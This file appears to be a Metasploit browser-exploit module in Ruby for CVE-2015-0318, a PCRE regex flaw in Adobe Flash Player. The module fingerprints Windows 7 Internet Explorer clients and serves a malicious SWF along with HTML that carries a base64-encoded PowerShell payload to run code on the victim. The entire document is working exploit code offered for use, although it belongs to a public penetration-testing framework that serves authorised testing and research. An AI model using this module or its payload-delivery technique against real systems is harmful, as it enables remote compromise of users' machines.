123 lines
4.0 KiB
Ruby
123 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
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include Msf::Exploit::Powershell
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player PCRE Regex Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
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in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
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a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Mark Brand', # Found vuln
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'sinn3r' # MSF
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],
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'References' =>
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[
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[ 'CVE', '2015-0318' ],
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[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
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[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'Retries' => true
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:activex => [
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{
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clsid: "{#{CLASSID}}",
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method: "LoadMovie"
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}
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],
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:os_name => OperatingSystems::Match::WINDOWS_7,
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:ua_name => Msf::HttpClients::IE,
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# Ohter versions are vulnerable but .235 is the one that works for me pretty well
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# So we're gonna limit to this one for now. More validation needed in the future.
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:flash => lambda { |ver| ver == '16.0.0.235' }
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},
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 25 2014",
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'DefaultTarget' => 0))
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end
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def exploit
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# Please see data/exploits/CVE-2015-0318/ for source,
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# that's where the actual exploit is
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@swf = create_swf
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super
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Request: #{request.uri}")
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if request.uri =~ /\.swf$/
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print_status("Sending SWF...")
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
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return
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end
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print_status("Sending HTML...")
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tag = retrieve_tag(cli, request)
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profile = browser_profile[tag]
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profile[:tried] = false unless profile.nil? # to allow request the swf
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send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
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end
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def exploit_template(cli, target_info)
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swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
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target_payload = get_payload(cli, target_info)
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psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
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b64_payload = Rex::Text.encode_base64(psh_payload)
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html_template = %Q|<html>
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<body>
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<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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<param name="movie" value="<%=swf_random%>" />
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<param name="allowScriptAccess" value="always" />
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<param name="FlashVars" value="sh=<%=b64_payload%>" />
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<param name="Play" value="true" />
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<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
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</object>
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</body>
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</html>
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return html_template, binding()
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end
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def create_swf
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path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
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swf = ::File.open(path, 'rb') { |f| swf = f.read }
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swf
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end
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end
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